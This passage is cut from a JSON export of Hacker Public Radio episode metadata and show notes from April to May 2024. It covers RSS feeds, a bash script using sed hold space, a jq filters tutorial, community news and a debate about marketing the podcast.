                                                            https://podcasts.apple.com/gb/podcast/the-fasting-doctor-fasting-cures-obesity-this/id1291423644

                                                            \n

                                                            Jason Fung YouTube channel, https://www.youtube.com/watch?v=8RuWp3s6Uxk

                                                            \n

                                                            I hope you found this explanation helpful. Have a nice day.

                                                            \n","hostid":369,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"fasting, weight loss, weight gain, insulin, Jason Fung, fasting","version":0,"downloads":0,"valid":1}, {"id":4106,"date":"2024-04-29","title":"My tribute to feeds","duration":267,"summary":"Feeds are useful to keep me updated with new information from websites I am interested in.","notes":"

                                                            I will talk about information feeds from web sites delivered to my\ncomputer device. I use the term feeds and by that I mean both RSS feeds\nand Atom feeds, the two feed protocols which are very similar.

                                                            \n

                                                            I believe it is very likely you as listener to Hacker Public Radio\nknow about feeds. Not unlikely you even know the technical details far\nbetter than I do.

                                                            \n

                                                            Nowadays many of us use feeds very often without thinking of them as\nfeeds, when we subscribe to podcasts.

                                                            \n

                                                            But feeds have been around for many years. Back in the days, I used\nfeeds for websites I was interested in. But somehow I forgot about it\nand web browsers stopped to support feed subscriptions.

                                                            \n

                                                            A year or two ago I started my new journey into feeds. Although it is\nnot so much talk about feeds nowadays, very many web sites have support\nfor feed subscriptions.

                                                            \n

                                                            To start, at my own personal web site (https://www.hemrin.com/)\nmany of the pages have feeds, typically those that are blog-like pages,\nand you can subscribe to several feeds on my site.

                                                            \n

                                                            From Hacker Public Radio I subscribe to a feed for all show comments.\nSo when you write a comment regarding my show today, I will get notified\nin my feed manager.

                                                            \n

                                                            I primarily use Thunderbird to manage my feeds. I do not need my\nfeeds to be synced to other devices. I use Thunderbird daily for e-mails\nand it is therefore very practical and natural for me to use it also for\nfeeds. In addition I use the Feeder app on my Android-based phone for\nsome feeds.

                                                            \n

                                                            I do not use feeds for web sites I anyway will visit often or that\nhave a lot of news. I would be overwhelmed of feeds. Instead I use feeds\nfor web sites which are not updated so frequently but are sites I want\nto keep an eye on. But some are updated daily, like from the\nparliament.

                                                            \n

                                                            In some cases, feeds are an alternative to subscribe to e-mail\nnotifications and e-mail newsletters.

                                                            \n

                                                            The beauty with feeds is that I am in charge and without giving out\ne-mail or anything - the site owner do not know I subscribe.\nSubscription starts so simple as I type the feed-url into my Thunderbird\nfeed manager. And when I want to end a subscription, I simply delete\nit.

                                                            \n

                                                            Furthermore I subscribe to Status pages. I get notifications for\nexample from my internet service provider for their planned and\nunplanned maintenance.

                                                            \n

                                                            Several authorities have interesting feeds.

                                                            \n

                                                            I have feeds from some companies and organizations.

                                                            \n

                                                            I have feeds from many software developers, for example Thunderbird\nand Linux Mint.

                                                            \n

                                                            I have feeds from some journalists and politicians and alike.

                                                            \n

                                                            I have feeds from persons with competence in various areas I am\ninterested in. And other persons who are interesting for the persons\nthey are and their thoughts.

                                                            \n

                                                            So, this show is to tell you that I have rediscovered feeds and found\nthem useful for me. Maybe you already use feeds. Maybe this show will\ninspire you to have a look into feeds as a useful tool for your personal\nor professional life.

                                                            \n","hostid":429,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"feeds, rss, atom","version":0,"downloads":0,"valid":1}, {"id":4107,"date":"2024-04-30","title":"Response to HPR #4065","duration":1293,"summary":"Shoutout to a shoutout I talk more about what I want in a Framework laptop","notes":"

                                                            Shout out to Noodles thanks again for responding to my previous post\n#4045 it was awesome to get feedback.

                                                            \n

                                                            Being able to upgrade my 2010 Macbook which is an Apple device and\nhow impressive that was. Sadly that upgradability is a thing of the\npast.

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, framework, laptop, computers","version":0,"downloads":0,"valid":1}, {"id":4108,"date":"2024-05-01","title":"What's in my bag","duration":600,"summary":"I describe what's in my bag","notes":"

                                                            I talk about what's in my bag

                                                            \n","hostid":297,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bag, linux, laptop, ipad, electronics","version":0,"downloads":0,"valid":1}, {"id":4109,"date":"2024-05-02","title":"The future of HPR ","duration":1496,"summary":"Knightwise talks about the some of the changes HPR could embrace to become future proof.","notes":"

                                                            This will probably be one I'll get a lot of comments on, but I've\nlooked at the marketing proposition of HPR in light of some of the\nchallenges we face. To prevent us dipping into the reserve queue and\nseeing a slow but steady decline in both audience and hosts.. Maybe its\ntime to give HPR a bit of a makeover.

                                                            \n","hostid":111,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"marketing, hpr, future, vision","version":0,"downloads":0,"valid":1}, {"id":4110,"date":"2024-05-03","title":"Playing Civilization III, Part 2","duration":914,"summary":"We continue to look at the details of playing this game.","notes":"

                                                            This starts our look at the details of playing Civilization III. In\nthis episode we look at the Early game, which sets the stage for\neverything that follows. Then we look at Revenue and Resources.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://civilization.fandom.com/wiki/List_of_resources_in_Civ3
                                                            • \n
                                                            • https://www.palain.com/gaming/civilization-iii/playing-civilization-iii-part-2/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization III","version":0,"downloads":0,"valid":1}, {"id":4111,"date":"2024-05-06","title":"HPR Community News for April 2024","duration":4226,"summary":"HPR Volunteers talk about shows released and comments posted in April 2024","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n\n Dave Hingley.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            4086Mon2024-04-01HPR Community News for March 2024HPR Volunteers
                                                            4087Tue2024-04-02Getting started with the digiKam photo management softwareHenrik Hemrin
                                                            4088Wed2024-04-03Today I Learnt more Bash tipsSome Guy On The Internet
                                                            4089Thu2024-04-04Modifying a Python script with some help from ChatGPT MrX
                                                            4090Fri2024-04-05Playing Civilization III, Part 1Ahuka
                                                            4091Mon2024-04-08Test Driven Development Demonorrist
                                                            4092Tue2024-04-09More man-talk.Some Guy On The Internet
                                                            4093Wed2024-04-10Installing postmarketOS on a PINE64 PinePhoneClaudio Miranda
                                                            4094Thu2024-04-11One year of LinuxDaniel Persson
                                                            4095Fri2024-04-12Twenty seven years of LinuxDeltaray
                                                            4096Mon2024-04-15Powers of twoDeltaray
                                                            4097Tue2024-04-16Will they take our jobs? Of course they will.dodddummy
                                                            4098Wed2024-04-17Road trips without GPSTrey
                                                            4099Thu2024-04-18Introducing Home Automation and Home AssistantKen Fallon
                                                            4100Fri2024-04-19Charleston, South CarolinaAhuka
                                                            4101Mon2024-04-22A I O M Goperat0r
                                                            4102Tue2024-04-23Re:HPR 3133 More MPV Quick TipsArcher72
                                                            4103Wed2024-04-24What's in my bag?Dave Hingley
                                                            4104Thu2024-04-25Introduction to jq - part 1Dave Morriss
                                                            4105Fri2024-04-26My story how I found a cure for my obesityJeroen Baten
                                                            4106Mon2024-04-29My tribute to feedsHenrik Hemrin
                                                            4107Tue2024-04-30Response to HPR #4065swift110
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 21 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 2 comments on\n2 previous shows:

                                                            \n\n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 10 of this month's shows:

                                                            \n
                                                            • hpr4086\n(2024-04-01) \"HPR Community News for March 2024\"\nby HPR Volunteers.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2024-04-01:\n\"Senior moment: diatribe\"
                                                              • Comment 2:\nSome Guy on the Internet on 2024-04-01:\n\"@Dave Morriss\"

                                                              \n
                                                            • hpr4092\n(2024-04-09) \"More man-talk.\"\nby Some Guy On The Internet.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nfolky on 2024-04-09:\n\"Oh no\"
                                                              • Comment 2:\nMad Sweeney on 2024-04-10:\n\"Squeezing out a show\"

                                                              \n
                                                            • hpr4094\n(2024-04-11) \"One year of Linux\"\nby Daniel Persson.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nAaronB on 2024-04-11:\n\"Bugs in Linux\"
                                                              • Comment 2:\nFolky on 2024-04-12:\n\"Thank you\"
                                                              • Comment 3:\nHenrik Hemrin on 2024-04-12:\n\"Enjoyable to learn about your Linux use case and experience\"

                                                              \n
                                                            • hpr4095\n(2024-04-12) \"Twenty seven years of Linux\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nNick on 2024-04-12:\n\"Correction\"
                                                              • Comment 2:\nDeltaray on 2024-04-13:\n\"Re: Correction\"
                                                              • Comment 3:\nHenrik Hemrin on 2024-04-13:\n\"Interesting review of your Linux softwares\"

                                                              \n
                                                            • hpr4096\n(2024-04-15) \"Powers of two\"\nby Deltaray.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nWindigo on 2024-04-15:\n\"Very enjoyable episode\"
                                                              • Comment 2:\nbrian-in-ohio on 2024-04-17:\n\"Another example\"
                                                              • Comment 3:\nDave Morriss on 2024-04-17:\n\"8388607\"

                                                              \n
                                                            • hpr4097\n(2024-04-16) \"Will they take our jobs? Of course they will.\"\nby dodddummy.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ndodddummy on 2024-04-16:\n\"The next thing\"
                                                              • Comment 2:\ndodddummy on 2024-04-20:\n\"More improvements\"

                                                              \n
                                                            • hpr4098\n(2024-04-17) \"Road trips without GPS\"\nby Trey.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\narcher72 on 2024-04-13:\n\"Re:Road trips without GPS\"

                                                              \n
                                                            • hpr4099\n(2024-04-18) \"Introducing Home Automation and Home Assistant\"\nby Ken Fallon.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-04-26:\n\"Looking forward to learn about Home Assistant\"

                                                              \n
                                                            • hpr4103\n(2024-04-24) \"What's in my bag?\"\nby Dave Hingley.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nHenrik Hemrin on 2024-04-26:\n\"Thanks for your show\"

                                                              \n
                                                            • hpr4105\n(2024-04-26) \"My story how I found a cure for my obesity\"\nby Jeroen Baten.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTrey on 2024-04-26:\n\"Thank you for sharing.\"

                                                              \n
                                                            \n\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            Craig Maloney, host\nof the Open Metal Cast

                                                            \n
                                                              \n
                                                            • We received the sad news that fellow podcaster and host of the\nOpen Metal Cast, Craig Maloney passed away.

                                                            • \n
                                                            • Obituary

                                                            • \n
                                                            \n

                                                            Markdown issue in show notes

                                                            \n
                                                              \n
                                                            • Syntax highlighting for fenced code blocks.\n
                                                                \n
                                                              • An issue was raised on the Gitea repository for the hpr_generator.\nShow notes using Markdown fenced blocks which specify a language (e.g.\npython) are not being syntax highlighted as expected.
                                                              • \n
                                                              • This was turned off because the highlighting is implemented as HTML\n(<div> and <span> tags) which was\nstripped by software on archive.org when the notes were\nuploaded.
                                                              • \n
                                                              • In case this restriction has been lifted, we will try uploading an\nexample to see if highlighting is now available.
                                                              • \n
                                                            • \n
                                                            \n

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":4112,"date":"2024-05-07","title":"JSON and VENDORS and AUTH ohh my!","duration":1230,"summary":"I talk and rant about JSON and Vendors","notes":"

                                                            Some stuff I use to help make APIs

                                                            \n

                                                            https://github.com/freeload101/Python/blob/master/Python_Includes_RMcCurdy.py

                                                            \n

                                                            JAMBOREE.rmccurdy.com for burp suite. Have I done a podcast on\nJAMBOREE? I must have... If not I will

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"programming,python","version":0,"downloads":0,"valid":1}, {"id":4113,"date":"2024-05-08","title":"Today I Learnt, sed hold/pattern space use.","duration":2083,"summary":"Sgoti talks about using sed hold/pattern spaces.","notes":"

                                                            Today I Learnt, sed\nhold/pattern space use.

                                                            \n

                                                            Sgoti talks\nabout using sed hold/pattern spaces.

                                                            \n
                                                              \n
                                                            • Tags: TIL, sed
                                                            • \n
                                                            \nI\nfixed the ${ls} /usr/bin to ${ls} ${bindir}\nissue mentioned in the show.\n
                                                            #!/bin/bash\n# License: GPL v3\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\n#Name: grab-bin.sh\n#Purpose: Link your binaries.\n#Version: beta 0.07\n#Author: SGOTI (Some Guy On The Internet)\n#Date: 2023-12-17\n\n#variables:\n\nbindir=/usr/bin/\n\nawk=${bindir}awk\ncat=${bindir}cat\nchmod=${bindir}chmod\ndate=${bindir}date\necho=${bindir}echo\nfind=${bindir}find\nls=${bindir}ls\nmktemp=${bindir}mktemp\nsed=${bindir}sed\nuniq=${bindir}uniq\n\n#start:\n\n    ${echo} -e "\\nStep 0: $(${date} +%F), $(${date} +%T)";\n\n# Create the /tmp/ directory to place the files.\nfunction mkt (){\nif [ -d /tmp/$(${date} +%F).* ]; then\n    tmpdir1=$(ls -d /tmp/$(${date} +%F).*)\n        ${echo} -e "The directory already exists.\\n${tmpdir1}"\nelse\n    tmpdir0=$(${mktemp} -d /tmp/$(${date} +%F).XXXXXXXX)\n    tmpdir1=${tmpdir0}\n    ${find} "${tmpdir1}" -type d -exec ${chmod} -R =700 {} +;\n        ${echo} "Had to create ${tmpdir1}"\nfi\n}\n\nmkt\n    ${echo} -e "\\nStep 1: $(${date} +%F), $(${date} +%T)";\n\n# Files created by this script.\ntmpdoc0=${tmpdir1}/$(${date} +%Y%m%d)variables.txt\ntmpdoc1=${tmpdir1}/$(${date} +%Y%m%d)bash.vim\ntmpdoc2=${tmpdir1}/$(${date} +%Y%m%d)sed-script.sed\n\n# Here-document to build the first document (variables.txt).\n${cat} > ${tmpdoc0} << "EOL0"\nbindir=/usr/bin/\n\nEOL0\n\n# variables.txt body.\n${ls} -1 ${bindir}\n| ${sed} -n '\nh\ns/[^0-9a-zA-Z]//g\nG\ns/\\n/ /\ns/(.*) (.*)/1=${bindir}2/p\n' >> ${tmpdoc0}\n${sed} -i '/[/d' ${tmpdoc0}\n\n    ${echo} -e "\\nStep 2: $(${date} +%F), $(${date} +%T)";\n\n# Bash.vim here-document.\n${cat} > ${tmpdoc1} << "EOL1"\niabbr case;\ncase ${var_name} in\n<CR>    [yY])\n<CR>    ${echo} 'User said, "Yes"';\n<CR>    ;;\n<CR>\n<CR>    [nN])\n<CR>    ${echo} 'User said, "No"';\n<CR>    ;;\n<CR>\n<CR>    [qQ])\n<CR>    ${echo} "Let's get outta here.";\n<CR>    exit\n<CR>    ;;\n<CR>\n<CR>    *)\n<CR>    ${echo} "Good Heavens! Someone broke the script I'm writing.";\n<CR>    exit\n<CR>    ;;\n<CR>esac\n\niabbr here; ${cat} << _EOD_<CR>_EOD_<CR><ESC>2k0\n\niabbr func function NAME () {<CR><CR>}<UP>\niabbr if; if []; then<CR><ESC>Ielse<CR>${echo} "Good Heavens!"<CR><ESC>Ifi<ESC>4k0A\niabbr ali; alias NAME=''<ESC>B\n\niabbr ; ()<Left><Left>\n\nEOL1\n\n# bash.vim body.\n${ls} -1 ${bindir}\n| ${sed} -n ' {\nh\ns/[^0-9a-zA-Z]//g\nG\ns/\\n/ /\ns/(.*) (.*)/iabbr 1 ${2}/p\n}\n' >> ${tmpdoc1}\n\n# Bash.vim here-document second pass.\n${cat} >> ${tmpdoc1} << EOL1-5\n\niabbr vars;\nbindir=/usr/bin/\n<CR>\nEOL1-5\n\n# bash.vim body second pass.\n${ls} -1 ${bindir}\n| ${sed} -n ' {\nh\ns/[^0-9a-zA-Z]//g\nG\ns/\\n/ /\ns/(.*) (.*)/\\<CR>1=${bindir}2/p\n}\n' >> ${tmpdoc1}\n\n${sed} -i '/{[}/d; /${bindir}[/d' ${tmpdoc1}\n\n    ${echo} -e "\\nStep 3: $(${date} +%F), $(${date} +%T)";\n\n# Sed script here-document.\n${cat} > ${tmpdoc2} << "EOL2"\n#!/usr/bin/sed -f\n\nEOL2\n\n# Sed script body.\n${ls} -1 ${bindir}\n| ${sed} -n '\nh\ns/[^0-9a-zA-Z]//g\nG\ns/\\n/ /\ns/(.*) (.*)/s/\\<2\\>/${1}/g/p\n' >> ${tmpdoc2}\n${sed} -i '/[/d' ${tmpdoc2}\n\n${find} "${tmpdir1}" -type d -exec chmod -R =700 {} +;\n${find} "${tmpdir1}" -type f -exec chmod -R =600 {} +;\n\n    ${echo} -e "\\nStep 4: $(${date} +%F), $(${date} +%T)";\n\nexit;\n
                                                            \n
                                                              \n
                                                            • Source: In-Depth Series:\nLearning sed
                                                            • \n
                                                            • Source: In-Depth Series:\nToday I Learnt
                                                            • \n
                                                            \n

                                                            This work is licensed under a Creative Commons\nAttribution-ShareAlike 4.0 International License.

                                                            \n\n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"TIL, sed","version":0,"downloads":0,"valid":1}, {"id":4114,"date":"2024-05-09","title":"Introduction to jq - part 2","duration":1484,"summary":"Options to jq; learning about filters","notes":"
                                                            \n

                                                            Overview

                                                            \n

                                                            In the last\nepisode we looked at how JSON data is structured and saw how\njq could be used to format and print this type of data.

                                                            \n

                                                            In this episode we'll visit a few of the options to the\njq command and then start on the filters written in the\njq language.

                                                            \n

                                                            Options used by jq

                                                            \n

                                                            In general the jq command is invoked thus:

                                                            \n
                                                            jq [options...] filter [files...]
                                                            \n

                                                            It can be given data in files or sent to it via the STDIN (standard\nin) channel. We saw data being sent this way in the last episode, having\nbeen downloaded by curl.

                                                            \n

                                                            There are many options to the command, and these are listed in the\nmanual page and in the online manual. We will\nlook at a few of them here:

                                                            \n
                                                            \n
                                                            --help or -h
                                                            \n
                                                            \n

                                                            Output the jq help and exit with zero.

                                                            \n
                                                            \n
                                                            -f filename or\n--from-file filename
                                                            \n
                                                            \n

                                                            Read filter from the file rather than from a command line, like awk´s\n-f option. You can also use ´#´ to make comments in the file.

                                                            \n
                                                            \n
                                                            --compact-output or -c
                                                            \n
                                                            \n

                                                            By default, jq pretty-prints JSON output. Using this\noption will result in more compact output by instead putting each JSON\nobject on a single line.

                                                            \n
                                                            \n
                                                            --color-output or -C and\n--monochrome-output or -M
                                                            \n
                                                            \n

                                                            By default, jq outputs colored JSON if writing to a\nterminal. You can force it to produce color even if writing to a pipe or\na file using -C, and disable color with\n-M.

                                                            \n
                                                            \n
                                                            --tab
                                                            \n
                                                            \n

                                                            Use a tab for each indentation level instead of two spaces.

                                                            \n
                                                            \n
                                                            --indent n
                                                            \n
                                                            \n

                                                            Use the given number of spaces (no more than 7) for indentation.

                                                            \n
                                                            \n
                                                            \n

                                                            Notes

                                                            \n
                                                              \n
                                                            • The -C option is useful when printing output to the\nless command with the colours that jq normally\ngenerates. Use this:

                                                              \n
                                                              jq -C '.' file.json | less -R
                                                              \n

                                                              The -R option to less allows colour escape sequences to\npass through.

                                                            • \n
                                                            • Do not do what I did recently. Accidentally leaving the\n-C option on the command caused formatted.json\nto contain all the escape codes used to colour the output:

                                                              \n
                                                              $ jq -C '.' file.json > formatted.json
                                                              \n

                                                              This is why jq normally only generates coloured output\nwhen writing to the terminal.

                                                            • \n
                                                            \n

                                                            Filters in jq

                                                            \n

                                                            As we saw in the last episode JSON can contain arrays and objects.\nArrays are enclosed in square brackets and their elements can be any of\nthe data types we saw last time. So, arrays of arrays, arrays of\nobjects, and arrays of both of these are all possible.

                                                            \n

                                                            Objects contain collections of keyed items where the keys are strings\nof various types and the values they are associated with can be any of\nthe data types.

                                                            \n

                                                            JSON Examples

                                                            \n

                                                            Simple arrays:

                                                            \n
                                                            [1,2,3]\n[1,2,3,[4,5,6]]\n["Hacker","Public","Radio"]\n["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]
                                                            \n

                                                            Simple object:

                                                            \n
                                                            { "name": "Hacker Public Radio", "type": "podcast"}
                                                            \n

                                                            This more complex object was generated by the Random User Generator\nAPI. It is a subset of what can be obtained from this site.

                                                            \n
                                                            {\n  "gender": "female",\n  "name": {\n    "title": "Mrs",\n    "first": "Jenny",\n    "last": "Silva"\n  },\n  "dob": {\n    "date": "1950-01-03T21:38:19.583Z",\n    "age": 74\n  },\n  "nat": "GB"\n}
                                                            \n

                                                            This one comes from the file countries.json from the Github project\nmledoze/countries. It is a subset of the entry for\nMexico.

                                                            \n
                                                            {\n  "name": {\n    "common": "Mexico",\n    "official": "United Mexican States",\n    "native": {\n      "spa": {\n        "official": "Estados Unidos Mexicanos",\n        "common": "México"\n      }\n    }\n  },\n  "capital": [\n    "Mexico City"\n  ],\n  "borders": [\n    "BLZ",\n    "GTM",\n    "USA"\n  ]\n}
                                                            \n

                                                            Identity filter

                                                            \n

                                                            This is the simplest filter which we already encountered in episode\n1: '.'. It takes its input and produces the same value as\noutput. Since the default action is to pretty-print the output it\nformats the data:

                                                            \n
                                                            $ echo '["Hacker","Public","Radio"]' | jq .\n[\n  "Hacker",\n  "Public",\n  "Radio"\n]
                                                            \n

                                                            Notice that the filter is not enclosed in quotes in this example.\nThis is usually fine for the simplest filters which don't contain any\ncharacters which are of significance to the shell. It's probably a good\nidea to always use (single) quotes however.

                                                            \n

                                                            There may be considerations regarding how jq handles\nnumbers. Consult the jq\ndocumentation for details.

                                                            \n

                                                            Object Identifier-Index\nfilter

                                                            \n

                                                            This form of filter refers to object keys. A particular key is\nusually referenced with a full-stop followed by the name of the key.

                                                            \n

                                                            In the HPR statistics data there is a top-level key \"hosts\" which\nrefers to the number of currently registered hosts. This can be obtained\nthus (assuming the JSON is in the file stats.json):

                                                            \n
                                                            $ jq '.hosts' stats.json\n357
                                                            \n

                                                            The statistics file contains a key 'stats_generated'\nwhich marks a Unix time value (seconds since the Unix Epoch 1970-01-01).\nThis can be decoded on the command line like this:

                                                            \n
                                                            $ date -d "@$(jq '.stats_generated' stats.json)" +'%F %T'\n2024-04-18 15:30:07
                                                            \n

                                                            Here the '-d' option to date provides the\ndate to print, and if it begins with a '@' character it's\ninterpreted as seconds since the Epoch. Note that the result is in my\nlocal time zone which is currently UTC + 0100 (aka BST).

                                                            \n

                                                            Using object keys in this way only works if the keys contain only\nASCII characters and underscores and don't start with a digit. To use\nother characters it's necessary to enclose the key in double quotes or\nsquare brackets and double quotes. So, assuming the key we used earlier\nhad been altered to 'stats-generated' we could use either\nof these expressions:

                                                            \n
                                                            ."stats-generated"\n.["stats-generated"]
                                                            \n

                                                            Of course, the .[<string>] form is valid in all\ncontexts. Here <string> represents a JSON string in\ndouble quotes. The jq documentation refers to this as an\nObject Index.

                                                            \n

                                                            What if you want the next_free value discussed in the\nlast episode (number of shows until the next free slot)? Just typing the\nfollowing will not work:

                                                            \n
                                                            $ jq '.next_free' stats.json\nnull
                                                            \n

                                                            This is showing that there is no key next_free at the\ntop level of the object, the key we want is in the object with the key\nslot.

                                                            \n

                                                            If you request the slot key this will happen:

                                                            \n
                                                            $ jq '.slot' stats.json\n{\n  "next_free": 8,\n  "no_media": 0\n}
                                                            \n

                                                            Here an object has been returned, but we actually want the value\nwithin it, as we know.

                                                            \n

                                                            This is where we can chain filters like this:

                                                            \n
                                                            $ jq '.slot | .next_free' stats.json\n8
                                                            \n

                                                            The pipe symbol causes the result of the first filter to be\npassed to the second filter. Note that the pipe here is not the same as\nthe Unix pipe, although it looks the same

                                                            \n

                                                            There is a shorthand way of doing this \"chaining\":

                                                            \n
                                                            $ jq '.slot.next_free' stats.json\n8
                                                            \n

                                                            This is a bit like a file system path, and makes the extraction of\ndesired data easier to visualise and therefore quite straightforward, I\nthink.

                                                            \n

                                                            Array index filter

                                                            \n

                                                            We have seen the object index filter .[<string>]\nwhere <string> represents a key in the object we are\nworking with.

                                                            \n

                                                            It makes sense for array indexing to be\n.[<number>] where <number>\nrepresents an integer starting at zero, or a negative integer. The\nmeaning of the negative number is to count backwards from the last\nelement of the array (which is -1).

                                                            \n

                                                            So, some examples might be:

                                                            \n
                                                            $ echo '["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]' | jq '.[1]'\n"Monday"\n\n$ echo '["Sun","Mon","Tue","Wed","Thu","Fri","Sat"]' | jq '.[-1]'\n"Sat"\n\n$ echo '[1, 2, 3, [4, 5, 6]]' | jq '.[-1]'\n[\n  4,\n  5,\n  6\n]
                                                            \n

                                                            We will look at more of the basic filters in the next episode.

                                                            \n

                                                            Links

                                                            \n\n\n
                                                            \n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"JSON,JavaScript Object Notation,jq,jq filter,jq language","version":0,"downloads":0,"valid":1}, {"id":4115,"date":"2024-05-10","title":"Tagging music with Beets","duration":1141,"summary":"Some things to know before you use beets to tag your music","notes":"

                                                            References

                                                            \n\n","hostid":399,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"beets, opus, music, funkwhale","version":0,"downloads":0,"valid":1}, {"id":4116,"date":"2024-05-13","title":"Response to 4109: Building community without SEO","duration":1158,"summary":"Building community does not require marketing and too much marketing can sometimes destroy community","notes":"

                                                            I was inspired by Knightwise's\nepisode\n4109 on future-proofing HPR.
                                                            \nI agree with many of your criticisms, but I'm not sure that a marketing\nstrategy is the best way forward. Many of the most successful and\nsustainable businesses and organizations have been built on\nword-of-mouth.
                                                            \nFor example I heard of Google, Zoom, Gmail, Facebook, Slack, Twitter,\nDiscord, etc from my IRL friends and coworkers rather than from a\nmarketing message. And most of the open source communities I'm a part of\n(Linux, Python, Firefox, Hugging Face, etc) are successful precisely\nbecause their success is not subject to a BigTech algorithm or\nexploitative terms-and-conditions.
                                                            \nMost open source projects are able to build community much by actively\nresisting the temptation to create a marketing message or social media\ncampaign and instead focusing on the authenticity and quality of their\n\"product\" and catering to their contributors' and users niche needs and\nsensibilities.

                                                            \n

                                                            Points of agreement (Rapoport Rule\n#2)

                                                            \n
                                                              \n
                                                            • I share Knightwise's love and concern for the HPR community
                                                            • \n
                                                            • I agree the intro theme song and voiceover could be accelerated and\nimproved
                                                            • \n
                                                            • I whole-heartedly agree the comments interface could be made easier\nto use
                                                            • \n
                                                            • I agree that the HPR community feels like a monastery or convent.\nPerhaps faith in FOSS is a kind of religious belief or value that\nsupersedes normal human instincts and drives.
                                                            • \n
                                                            • I 100% support hackers that evangelize for HPR on their favorite\nbigtech social media platforms.
                                                            • \n
                                                            \n

                                                            My FOSS podcatcher Antennapod,\nautomatically skips the intro. I had to rewind in order to hear the\nepisode number and host username in order to compose my reply.
                                                            \nAnd I have trouble engaging with the comments interface on the HPR\nsite.
                                                            \nI wasn't even aware of comments on my previous episodes and once I did\nlearn of it I found it easier to reply on Mastodon rather than on the\nHPR website.
                                                            \nAs a community, I think we take it on faith that there is a place in the\nworld for people like us that just want to share ideas, unmediated by\nshadow-banning, rug-pulling corporations and attention-hacking\nalgorithms. I want to have a conversation with thoughtful people. I\ndon't want to be engaged or monetized or exploited

                                                            \n
                                                              \n
                                                            • A young person that is turned off after 3 seconds of retro-sounding\naudio is likely to not enjoy the \"sound of\nwoodwork (2442)\" or \"overlanding\"\naudio journals (4037) of semi-retired geeks.
                                                            • \n
                                                            • Many of us know that what we do in life cannot be measured in\ndollars or like button\nclicks, but rather by the quality of our friendships and the\ncollective ideas that we share.
                                                            • \n
                                                            • Zombies on Facebook, Twitter, Discord and Slack must eventually \"see\nthe light\" for themselves and come flocking to \"the small\nweb\" as they did during Xitter's decline.
                                                            • \n
                                                            • HPR has been a significant positive force in my life and I would\nhate to sully its openness and authenticity with SEO or other marketing\nstrategies (I know this is not what you proposed)
                                                            • \n
                                                            • I think the enshittified\nDiscord network is the wrong business to entrust with our community, for\none thing, its app doesn't work on Linux
                                                            • \n
                                                            • Marketing and SEO are effective tools for growth-seeking businesses,\nbut ill-suited for an open source community
                                                            • \n
                                                            • Anyone interested in business strategy would enjoy the eye-opening\nbook The\nInternet Con by Cory Doctorow at\nthe EFF.
                                                            • \n
                                                            • Open source communities such as Reddit, Reddis, Terraform, Mongo,\nSubstack, Medium, and MySQL were destroyed by growth-hackers pulling the\nrug out from under open source contributors and authors who eventually\nrebelled to fork or reverse-engineer these products and \"win the\nday.\"
                                                            • \n
